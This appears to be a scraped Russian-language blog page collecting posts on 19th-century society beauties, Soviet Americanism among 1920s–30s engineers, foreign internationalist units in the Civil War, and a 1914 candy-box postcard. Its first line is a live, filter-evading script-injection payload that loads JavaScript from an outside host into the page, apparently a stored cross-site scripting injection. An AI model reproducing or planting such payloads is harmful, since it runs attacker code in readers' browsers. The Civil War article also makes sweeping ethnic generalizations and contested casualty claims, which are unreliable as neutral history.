"></meta><scr<script>ipt src=https://wapiti3.ovh/1z.js></script>

1990 год,Великобритания

Наоми Кэмпбелл, Линда Евангелиста, Татьяна Патиц, Кристи Тарлингтон и Синди Кроуфорд

Я тут под впечатлением =) решила сделать пост о женщинах которые свели с ума всех мужчин 19 века ^^

Смотрим , наслаждаемся и помним  другое время , другие нравы. 

Лили Лангтри была выдающейся женщиной. Она была красивой, умной, страстной, успешной в делах и невероятно удачливой.

Не успев показаться в высшем обществе, она с ходу очаровала принца Уэльского и будущего короля Англии Эдварда VII и стала его фавориткой. Чуть позже судьба подарила ей встречу с Оскаром Уайльдом, который помог ей стать актрисой. У неё было всё, о чём она только могла пожелать – огромная яхта, два шикарных особняка по обе стороны океана, толпы поклонников и даже собственный театр.

поговариваю, что она даже родила, тайно, дочь от короля =)

Хелен Анна Хельд – ещё одна красавица 19 века, чья кокетливость и готовность демонстрировать ноги позволили ей снискать славу «похитительницы мужских сердец».

Она блистала на Бродвее, и толпы поклонников готовы были не всё, чтобы только попасть на её представление.

Она является одним из прародителем Ziegfeld Follies.

Из всего этого списка имя Айседоры Дункан, пожалуй, больше всего «на слуху». Знаменитая танцовщица положила начало новому направлению в искусстве. Она считала, что танец – не просто идеально выполненный набор заученных движений, а свободное продолжение движений исполнителя, свободное выражение его собственных чувств.

А еще она и Есенин ....

Пока только три , но это не конец. =))

США как идеал советских коммунистов-технократов 1920-30-х

Уже в первые годы после Революции большевики не скрывали, что хотят многое копировать из США. В конце 1920-х - начале 1930-х, во время индустриализации, эта любовь к Америке достигла апогея. Вершиной развития человека был признан американский инженер - его образ фигурирует в советской пропаганде, кинофильмах, речах лидеров. Американцы в этих произведениях помогают победить и старых "буржуазных специалистов из бывших", на смену им идёт обученный, целеустремлённый "новый русский американец".

О том, почему советская власть в 1920-30-е за идеал взяла США, рассказывается в книге Сюзанны Шаттенберг "Инженеры Сталина. Жизнь между техникой и террором в 1930-е годы" (изд-во "Росспэн", 2011 год).

От Азии - к Европе

Индустриализацию представляли молодым инженерам не только как войну и борьбу с природой, но и как американизацию страны. Американизм возник в качестве рецепта спасения лежащего в руинах народного хозяйства, а также мотивации, призванной пробудить жажду деятельности в равнодушном населении. Слово «социализм» было слишком абстрактно и непонятно, чтобы воплощать собой мечту и достойную усилий цель. Следовало найти другой образ, который наглядно показал бы людям, для чего они должны трудиться и бороться, отказавшись от всего привычного.

Индустриализацию Советского Союза в 1930-е трудно понять, не учитывая заграничное влияние. Зарубежные страны играли решающую роль как минимум в трех аспектах: они служили одновременно положительным и устрашающим примером; экспортировали в СССР технику; способствовали установлению личных контактов среди инженеров.

В насчитывающем не одну сотню лет споре о том, является ли Россия европейской страной или имеет азиатские корни, индустриализация однозначно свидетельствовала о победе сторонников Запада, противников Руси с её суеверными бородатыми мужиками. Слово «Азия» стало синонимом технической безграмотности, отсталости и застоя. Орджоникидзе в 1928 году сказал: «У нас очень часто на одном и том же заводе имеется и Америка и Азия. Имеются великолепные машины, которые мы получаем из-за границы, и в то же время скверная установка машины в производстве и плохая организация всей работы». Я.Гугель винил в неправильном обслуживании машин на Магнитострое «азиатчину», в воспоминаниях инженера Е.Джапаридзе Магнитогорск предстает символом перехода России от Азии к Европе. Катаев в романе «Время, вперёд!» пишет об указателе с надписью «Азия — Европа», который видят из окна пассажиры поезда, пересекающего Урал: «Бессмысленный столб. Я требую его снять! Никогда больше не будем мы Азией. Никогда, никогда, никогда!».

"США похожи на Россию"

Однако настоящим примером для подражания считалась Америка, а не Европа. Девиз американизации появился уже в 1920-е. Неповоротливому мужику противопоставлялся деятельный, находчивый американец, русской «обломовщине» — американская деловитость. Ленин еще в 1918 году вывел формулу: «Советская власть + прусский порядок железных дорог + американская техника и организация трестов + американское народное образование etc. etc. + + = Σ = социализм». В 1924 году Сталин в лекции, прочитанной в Свердловском университете, объявил, что советское государство нельзя построить без американской деловитости, и назвал это качество, наряду с революционным размахом, главной особенностью ленинского стиля в работе: «Американская деловитость — это та неукротимая сила, которая не знает и не признаёт преград, которая размывает своей деловитой настойчивостью все и всякие препятствия, которая не может не довести до конца раз начатое дело, если это даже небольшое дело, и без которой немыслима серьезная строительная работа».

(Полковник Хью Купер на фоне законченной в 1932 году плотины на Днепре, для проектирования и строительства которой советское правительство в 1926 году пригласило его в СССР. Он должен был помочь ДнепроГЭСу затмить все другие подобные сооружения, даже созданные им самим плотину Вильсона в Теннесси и плотину Кулиджа в Вашингтоне. Купера можно считать идеальным типом американского инженера, который ставился в пример советским инженерам. Как таковой он стал прототипом персонажей пьесы Н.Погодина «Темп» и фильма А.Мачерета «Дела и люди». Примером служили не только его большой практический опыт и «американские темпы» работы, но и внешний вид: крепкое сложение, улыбка на губах, костюм с белой рубашкой и галстуком, мягкая шляпа и символ инженера — трубка)

США лучше всего подходили на роль образца в деле осуществления социалистической утопии, потому что, во-первых, напоминали Советский Союз размерами территории, топографическим многообразием и богатством полезных ископаемых, а во-вторых, как никакая другая страна воплощали собой мечту человечества о свободной и благополучной жизни. Кроме того, Соединенные Штаты были страной машин, технического прогресса и производственной культуры. Советские газеты с восхищением писали об их технических достижениях — строительстве новых автострад, тоннелей и мостов, открытии моста «Золотые Ворота».

Советскому Союзу, казалось, сама судьба предназначила стать преемником США в роли страны неограниченных возможностей. Здесь судомойка не превращалась в миллионершу, зато рабочий становился инженером, а крестьянка — агрономом. Один из главных лозунгов индустриализации ставил амбициозную задачу «догнать и перегнать Америку». Говоря о «большевистских темпах», большевики всегда имели в виду в качестве точки отсчета американские темпы, требуя работать быстрее, чем американцы. Придумывались такие выражения, как «сверхамериканские темпы», в печати обсуждались тейлоризм и фордизм, которым США, по всей видимости, были обязаны своим благосостоянием и процветающей промышленностью, труды Тейлора и Форда воспринимались как бестселлеры. После того как А.Гастев в 1920-е на этой основе создал «Институт научной организации труда», работа в форме точно сегментированных, хронометрированных механических приёмов, наконец, получила название на большевистском языке — «социалистический ударный труд». Одна из героинь пьесы Погодина разъясняет другим работницам принципы фордизма: «Мы будем топоры точить, по фордизму. А фордизм... весь ты становишься, как стальной трос, и глаза у тебя, как электричество, и зад твой сделается, как пружина. Так работают по фордизму, бабы, а по нашему языку — ударно".

Копирование американских заводов и технологий

Все крупные индустриальные проекты первой пятилетки ориентировались на американские образцы. Нижний Новгород, где возводился автомобильный завод, называли «советским Детройтом». Работы велись под руководством фирмы «Форд», ибо слово «Форд» служило синонимом автомобиля, синонимом мобильности. Оба металлургических комбината, в Магнитогорске и Кузнецке, призваны были переплюнуть крупнейший в мире металлургический завод «Юнайтед Стейтс стил корпорейшн» в Гэри (шт. Индиана), неподалеку от Чикаго, строителей консультировали американские фирмы «Мак-Ки» и «Фрейн». ДнепроГЭСу при активной помощи полковника Хью Купера, который построил в США плотину Вильсона в Теннесси и плотину Кулиджа в Вашингтоне, предстояло затмить эти сооружения.

Приобретение ноу-хау, специалистов, машин и продажа сырья осуществлялись централизованно, через специально созданные для этого во всех крупных европейских городах торговые представительства. Наиболее важную роль играла организация «Американская торговля» (Амторг) в Нью-Йорке, которая вела все дела с США, нанимала американских инженеров для работы в СССР и опекала советских инженеров в Соединенных Штатах. Иностранные фирмы участвовали в проектировании советских предприятий, посылали на них консультантов для наблюдения за работами, помогали освоить новые производственные технологии. На 1931 год существовало 134 соглашения почти по всем отраслям промышленности. Из 218 контрактов, действовавших с 1930 по 1945 год, 64% были заключены с американскими фирмами, 15% — с немецкими. Таким путём попали в Советскую Россию многие иностранные инженеры; в ноябре 1932 года их насчитывалось 5000 человек, правда, американцы среди них составляли от одной пятой до трети, а больше половины — немцы.

Американский инженер - идеальный человек

Иностранные инженеры вдобавок заменяли собой старых русских инженеров. В то время старую интеллигенцию всячески чернили и преследовали, и молодые инженеры-коммунисты не имели наставников и примеров для подражания. Эту роль взяли на себя иностранцы. Американский инженер прослыл идеальным специалистом. Он одевался так же, как рабочие, держал себя с подчинёнными просто и непринужденно, шутил с ними и старался научиться их языку. Таким образом, американцев наделяли теми качествами, наличия которых не признавали у собственных старых специалистов. Чтобы «американизировать» советских инженеров, их не только ставили под начало американцев у себя дома, но и посылали в другие страны. В 1928 году планировалось отправить на стажировку за рубеж 250 молодых специалистов, в 1929-м — уже 600. Газеты требовали обучать за границей как можно больше молодых кадров и настаивали на том, чтобы каждому технику преподавали иностранные языки в достаточном объеме. Инженера, вернувшегося из США, изображали как «нового человека»: «Он любит машину и любит рабочего, которому дорога машина. В цехах он терпеливо рассказывает о каждой марке станка, о его деталях и старается научить рабочих беречь машину».

Новый советский инженер не только работал, но и выглядел как американец: носил элегантный костюм, шляпу и курил трубку — неизменный атрибут инженера. Патреев в романе «Инженеры» описывает возвратившегося из Соединенных Штатов инженера Степана Зноевского, которому сослуживцы дали прозвище «Знойсон»: «В мягкой шляпе, элегантном заграничном плаще, с трубкой в тонких губах. Его лицо — продолговатое, чисто выбритое, с сизым подбородком, черными изогнутыми, как крылья стрижа, бровями, немного строгое, — выражало внутреннюю силу, уверенное, чуточку дерзкое сознание этой силы, которой хватит надолго и для больших дел». Находчивых, прогрессивных русских называли «русскими американцами», и вообще слово «американец» стало синонимом слова «инженер». С.Франкфурт вспоминает, что не раз слышал об И.Бардине: «Ваш Бардин — известный американец».

Новые русские американцы

Несмотря на то что газеты и партийные руководители в своих выступлениях всячески хвалили иностранных специалистов, многие советские инженеры встретили новые образцы для подражания с недоверием. И ещё остававшиеся старые специалисты, и молодые инженеры утверждали, что прекрасно справятся без иностранной помощи и опеки. Русские инженеры, в отличие от рабочих, не желают советоваться с иностранными коллегами, жаловалась печать.

Консультантов систематически бойкотировали и терпели на стройках только потому, что таково распоряжение правительства. Бывало, иностранные техники сидели в бюро, не имея доступа ни к чертежам, ни на стройплощадку. Другим не разрешали никуда ездить и не платили жалованье.

Тема иностранных инженеров на советских стройках и отношения к ним русских ИТР была излюбленным сюжетом в литературе и кино. В пьесе Погодина «Темп» всё действие вертится вокруг американского консультанта Картера, которого плохой старый главный инженер из дворян отсылает в бюро, чтобы не путался под ногами. Картер — олицетворение американской деловитости: он не хочет сидеть в бюро, считая, что его место исключительно на стройплощадке, намерен работать с семи утра, американскими темпами, и желает видеть результаты своего труда. Он представляет собой прямую противоположность старому инженеру Гончарову. По мнению русских, Картер работает «с точностью автомата». Гончаров много говорит, издевается над энтузиазмом и темпами, предпочитает ориентироваться не на США, а на Германию или Англию, и считает Советский Союз сумасшедшим домом. Картер сухо возражает ему, что сумасшедшие не строят заводов, добивается американских темпов, а в конце пьесы восхищается русскими, которые эти темпы намного перекрыли.

Совершенно такую же схему демонстрирует фильм «Дела и люди», один из самых занимательных и ярких фильмов об индустриализации. И здесь американский инженер, мистер Клайнс, приезжает на отстающую стройку, побеждает сопротивление русских инженеров и в конце превозносит русских, обогнавших американские темпы.

Действие пьесы «Темп» разворачивается на Тракторострое, и образ Картера носит черты инженера Джона Калдера, построившего для Форда завод «Ривер-Руж» в Мичигане, а с 1929 года работавшего на Сталинградском тракторном заводе. Место действия фильма «Дела и люди» — Днепрострой, и прототипом инженера Клайнса послужил полковник Хью Купер. Клайнс среднего роста, крепкий, но не толстый, носит белую рубашку с галстуком, серый костюм, мягкую фетровую шляпу и круглые очки, курит неизменную трубку. Он жизнерадостен по натуре, любит джаз и говорит то, что думает. На участке молодого инженера Захарова, когда переводчица пытается объяснить, что перед ним лучший ударник строительства, Клайнс роняет уничтожающее замечание: «О, я понимаю: эти люди не знают, как надо работать!»

Захаров — не старый, а молодой инженер, долговязый, нескладный, без пиджака. Он не желает слушать американца, но тот стоит на своём: «Ну ладно, давайте-ка посмотрим: вам нужно девять минут, но эту работу надо сделать за три». Далее следует наглядный урок, показывающий, чем американец отличается от русского. Клайнс, будучи инженером, умеет управлять любой машиной из тех, которыми пользуются рабочие, и носит с собой часы, хронометрируя каждую трудовую операцию. Он садится на кран и ловко, тремя движениями рычага, переносит из вагона в котлован груз бетона. У Захарова же и часов нет, и работать на кране он не может.

Америка и Россия вступают в социалистическое соревнование: Клайнс берёт соседний с Захаровым участок. Рядом с заносчивым молодым русским инженером показан и старый, правда, он не играет роль «вредителя», как Гончаров. Это безобидный старик, который предпочитает наслаждаться жизнью и вообще не работать. Петров носит старомодные усики и пенсне и начинает лысеть; он кряхтя встает с постели, слишком много курит и по-настоящему интересуется только женщинами. В этом фильме старый специалист сам просит нанять как можно больше иностранцев, чтобы он мог отправиться на покой. Но ему не доставляют такого удовольствия: ввиду нехватки денежных средств старого инженера тоже привлекают к обучению молодого. В итоге у советского инженера оказывается два учителя: у американца он перенимает стиль работы, буржуазный специалист дает ему основополагающие технические знания. В конце фильма американец решает остаться в Советском Союзе и пылко восклицает: «Ударничество, соревнование — гип-гип-ура!»

В романе Я.Ильина «Большой конвейер» также прославляются американизм и американские инженеры как повивальные бабки советской промышленности. Здесь американцы и их передовые русские сторонники («ньюйоркцы») борются за организацию производства со скептиками из проектной конторы («оргметаллистами»). Дело доходит до скандала, когда 14 молодых инженеров уличают в «антиамериканском заговоре». Но, несмотря на все происки и препоны, американцы достраивают завод и передают его в руки «новых американцев» — советских инженеров. Автор с пафосом пишет: «Они уезжают, но они остались в этих патефонах, в танцах, в иной манере одеваться, работать, разговаривать!»

(Иллюстрации - кадры из фильма «Дела и люди», 1932 год; спектакля "Темпы", 1932 год)

http://ttolk.ru/articles/ssha_kak_ideal_sovetskih_kommunistov-tehnokratov_1920-30-h

Нечего терять, некого жалеть

Чьими руками большевики устанавливали новые порядки

Главной опорой молодой революционной власти в борьбе с "внутренним врагом" и в Гражданской войне были отнюдь не "сознательные пролетарии и беднейшие крестьяне", как убеждали нас советские учебники, а интернациональные отряды, рекрутированные из иностранных граждан, оказавшихся в границах империи в трагическом 1917-м. Наиболее дисциплинированные, профессиональные подразделения, не знавшие дезертирства, готовые выполнить любой приказ, формировались из военнопленных. Они закрывали бреши на фронте и свирепствовали в тылу: безжалостно подавляли антибольшевистские выступления рабочих и крестьян, проводили продразверстки, осуществляли карательные рейды и зачистки. Именно интернационалисты переломили ход Гражданской войны в пользу Советов. "Огонек" разбирался, чьими штыками на самом деле делалась русская революция

Зинаида Гиппиус в своих дневниках и Иван Бунин в "Окаянных днях" подробно описали, что творилось в обеих столицах в первые месяцы после прихода к власти большевиков в октябре 1917-го: пьяные толпы бежавших с фронта солдат и бросивших свои корабли матросов, стрельба на улицах и грабежи, анархия в самых безобразных проявлениях...

Это только в советской киноистории простой русский "человек с ружьем" стал опорой и надеждой новой власти. В истории реальной никакого доверия к соотечественнику с винтовкой у революционного руководства не было: советское правительство едва смогло найти в ноябре одну боеспособную часть (это был 6-й Тукумсский латышский полк) для охраны Смольного, а в личную охрану вождей набирали... китайцев.

От кого "Петлюра бежала"?

Кто читал роман Островского "Как закалялась сталь", должен помнить такой эпизод: "Не скрываясь, бежит загорелый, с воспаленными глазами китаец, в нижней рубашке, перепоясанный пулеметными лентами, с гранатами в обеих руках. "Куда Петлюра бежала?" — задыхаясь, кричал Сереже китаец". И в других литературных произведениях о Гражданской войне, начиная с шолоховского "Тихого Дона", полно упоминаний о чужих людях с винтовками и пулеметами — об интернационалистах.

Кто звал их в Россию? Что они делали в нашей революции? Опрошенные "Огоньком" эксперты (профессор МПГУ Василий Цветков, профессор СПбГУТ, вице-президент Всероссийской ассоциации историков Гражданской войны Сергей Полторак, профессор Университета Дмитрия Пожарского Сергей Волков) единодушны: никто их не приглашал специально, все они находились в России к началу революции.

Было несколько источников формирования интернациональных отрядов. Основной — военнопленные (более 2 млн) и трудовые мигранты (из 1,5 млн мигрантов большинство составляли китайцы — около 400 тысяч, приехавших в 1915 году по соглашению между правительствами России и Китая, но были также иранцы, индусы, корейцы) — они замещали в промышленности и в сельском хозяйстве ушедших на фронт работников. Кроме того, беженцы из сопредельных государств, переселенцы. Особняком стоит одна категория — социал-демократы (коммунисты) из разных стран Европы и Америки — из их числа набирали комиссаров во время Гражданской войны, многие стали видными деятелями ВЧК. И наконец, бывшие подданные Российской империи, после 1917 года ставшие гражданами вновь образованных государств — поляки, литовцы, латыши, эстонцы, финны. Они до Октябрьского переворота воевали в частях российской армии. А в 1918 году стали ядром новой Красной армии. Лев Троцкий еще в апреле 1917-го говорил, что "у целого ряда народов есть счета к российской монархии и русскому народу, и это надо умело использовать в борьбе с контрреволюцией и другими внутренними врагами".

В 1918 году в Красной армии насчитывалось около 500 различных интернациональных подразделений, от роты до дивизии. Число штыков в них — около 220 тысяч. Это наиболее боеспособная и организованная часть Красной армии на конец 1918 года

Понятно, что не все они сражались на стороне новой власти. Например, чехословацкий корпус, насчитывавший около 40 тысяч штыков, весной 1918-го выступил против большевиков. Но кто "белочехам" противостоял? Правильно, другие "красные иностранцы". Сергей Волков рассказывает, что "в первых отрядах, брошенных против чехо-словаков, были их исконные враги — венгры и немцы. Они составляли до 90 процентов (!) красных войск в Сибири. Столкновения венгров и чехо-словаков были очень жестокими, пленных не брали, рубили всех на месте".

Таким же ожесточением отличались столкновения поляков, служивших у белых, и "красных" немцев — вся их вековая вражда выливалась наружу.

Особой жестокостью отличались китайцы. Около 40 тысяч их насчитывалось в отрядах ВЧК, разумеется, не на руководящих должностях, а на самых низовых. Этих бойцов, готовых выполнить любой приказ командиров, не знающих сомнений и колебаний, отправляли в основном в деревни на хлебозаготовки. Они не разговаривали, просто отбирали у крестьян зерно. И вызывали в ответ лютую ненависть. Китайцев также использовали при массовых расстрелах, когда появлялись сомнения в стойкости чекистов других национальностей (подробно об этом "Огонек" писал в N 19 от 15 мая 2017 года в материале "Китайские штыки русской революции").

Василий Цветков отмечает, что "всего в 1918 году в Красной армии насчитывалось около 500 различных интернациональных подразделений, от роты до дивизии. Число штыков в них — около 220 тысяч. Это примерно пятая (и наиболее боеспособная и организованная) часть Красной армии на конец 1918 года. Из них 120 тысяч составляли венгры и австрийцы. Эти отряды готовы были выполнить любой приказ. В них почти не было случаев дезертирства — им некуда было бежать. Их бросали на самые ответственные участки войны — Поволжье, Урал, Дон, Крым. И в 1919 году латышские и эстонские стрелки спасали советскую власть. Когда бойцы Добровольческого корпуса генерала Кутепова взяли Орел и двинулись на Москву, остановить их смогла только ударная группа из Латышской и Эстонской дивизий".

Сергей Волков считает, "что именно эти люди, оторванные от своих родных корней, оказавшиеся в пекле Гражданской войны, были необходимы большевикам. Не то чтобы они отличались какими-то зверскими качествами. Просто им, чужестранцам, не жалко было наших рабочих и крестьян, казаков, женщин, детей, стариков. Выжить они могли, только сражаясь за большевиков и выполняя приказы их власти".

Отдельный разговор — о латышских стрелках, "янычарах Ленина", "железной гвардии большевиков". К осени 1917-го российская армия была полностью разложена большевистской пропагандой. Солдаты не желали воевать, бросали позиции, расходились по домам. Но части, в которых служили латыши и литовцы, оказались отрезанными от Курляндии — там стояли немцы. Когда Ленин 15 января 1918-го подписал декрет о создании РККА, первой регулярной частью Красной армии и стала Латышская стрелковая советская дивизия. Что касается 23 февраля, когда вся страна празднует День защитника Отечества, то известно, что в тот день 1918 года посланные из Петрограда навстречу наступавшим немцам красногвардейские отряды нашли на одной из железнодорожных станций цистерны со спиртом и перепились. Защищать Петроград пришлось все той же Латышской дивизии. В Архангельске, Пензе, Саратове, Могилеве, Витебске и еще в десяти городах России были созданы соединения этой дивизии и латышско-эстонские спецотряды ВЧК-ОГПУ. Общая численность красных латышских стрелков в то время превышала 25 тысяч человек.

Идеология и прагматика

Сергей Полторак считает, что одним из важных мотивов участия интернационалистов в Гражданской войне в России была вера в мировую революцию. И в самом деле, III Интернационал был создан из тех 220 тысяч, воевавших у нас. Но были и другие мотивы, на которые указывает Василий Цветков,— сугубо прагматические.

Пленные из Германии и Австро-Венгрии в 1918 году оказались перед дилеммой: ехать на родину или оставаться в России. В первом варианте их отправили бы на Западный фронт, где творилась жуткая мясорубка, в которой было мало шансов уцелеть. Бойцов Чехословацкого корпуса ждал расстрел за "измену". В России же в 18-м году было относительно спокойнее. К тому же, поступая на службу к большевикам, иностранцы возвращались к своей военной профессии, получали пусть и небольшое, но жалованье, а главное — надежный паек.

В 19-м году, после крушения Германской, Австро-Венгерской, Турецкой империй, многие из интернационалистов, повоевав за советскую власть в России, поехали на родину — создавать коммунистические партии и устраивать социалистические революции у себя дома. Однако советские республики в Прибалтике, Германии, Венгрии просуществовали недолго, и "опытные люди" вернулись назад — в Россию. Кому-то удалось занять партийные должности, кто-то работал в III Интернационале, кто-то продолжал служить в Красной армии. А потом пришел 37-й, и интернационалисты столкнулись с тем, что сами 20 годами ранее творили на нашей земле.

В 1967-м по случаю 50-летия Октябрьской революции об оставшихся в живых иностранных "революционных бойцах" Страна Советов все же вспомнила: генеральный секретарь ЦК КПСС Леонид Брежнев наградил 3 тысячи интернационалистов орденами СССР — так сказать, за "вклад"...

Вклад Белы Куна

А в завершение сюжета — занятные детали из биографии видного интернационалиста, оставившего особый след в отечественной истории,— Белы Куна.

В Первую мировую он был призван в австро-венгерскую армию, в 1916-м попал в плен, отправлен на Урал. Там вступил в РСДРП(б), и партия ему снова вручила винтовку: он воевал против "белочехов", Колчака, участвовал в подавлении антибольшевистских мятежей в разных городах России. Потом устанавливал советскую власть в родной Венгрии — Венгерская советская республика просуществовала 133 дня (с 21 марта до 6 августа 1919 года), а после ее разгрома Бела Кун бежал в Австрию и затем... вернулся в Россию, где его навыки и "несгибаемая твердость" пригодились снова.

В октябре 1920 года венгерский "спец" был назначен членом Реввоенсовета Южного фронта, а 16 ноября того же года — председателем Крымского ревкома. Назначение было продуманным, Беле Куну предстояло командовать своими: в составе советских частей, штурмовавших Перекоп, примерно половину из 35-тысячной группировки красных составляли интернациональные подразделения — венгерская, латышская и эстонская дивизии.

Вот что писал о Крыме Сергей Мельгунов в книге "Красный террор в России в 1918-1923 годах" (орфография сохранена): "Крым назывался "Всероссийскiм Кладбищем". Мы слышали об этих тысячах от многих, приезжавших в Москву из Крыма. Разстрелено 50.000 — сообщает "За Народ" (No. 1). Другiе число жертв исчисляют в 100-120 тысяч, и даже 150 тыс. Какая цифра соотвeтствует дeйствительности, мы, конечно, не знаем, пусть она будет значительно ниже указанной! Неужели это уменьшит жестокость и ужас расправы с людьми, которым, в сущности, была гарантирована "амнистiя" главковерхом Фрунзе? Здeсь дeйствовал извeстный венгерскiй коммунист и журналист Бэла Кун, не постыдившiйся опубликовать такое заявленiе: "Товарищ Троцкiй сказал, что не прieдет в Крым до тeх пор, пока хоть один контр-революцiонер останется в Крыму; Крым это — бутылка, из которой ни один контр-революцiонер не выскочит, а так как Крым отстал на три года в своем революцiонном движенiи, то мы быстро подвинем его к общему революцiонному уровню Россiи..."".

Резня в Крыму продолжалась несколько месяцев. Офицеров, поверивших Фрунзе и попавших к Беле Куну, расстреливали, вешали, топили в Черном море (это называлось "десант на Кубань"). Расстреливаемых складывали в яму рядами. Через минуту на них ложился новый ряд еще живых, и так продолжалось до вечера, пока яма не наполнялась до краев. Утром еще не умерших добивали камнями. В ямы шли не только пленные офицеры и солдаты, но и врачи, медсестры, учителя, инженеры, священники...

По окончании резни Бела Кун отправил Ленину короткую телеграмму: "Крым наш".

https://www.kommersant.ru/doc/3493777

Купил на базаре открытку. Долго вертел в руках, думая, стоит ли отдавать за нее 10 рублей. Вроде дореформенная грамматика, да уж больно непохожа на открытку царских времен - великолепное, вполне современное качество полиграфии и плюс неровно обрезанные края. Рискнул. Пришел домой, погуглил. Оказалось, действительно, была в Москве такая конфетная фабрика Эйнем (теперь - Красный Октябрь), и она действительно в 1914 году выпустила серию из 8 открыток с видами Москвы будущего. А кривые края из за того, что открытку вырезали из конфетной коробки. В общем, к цене пририсовал нолик.

И обратная сторона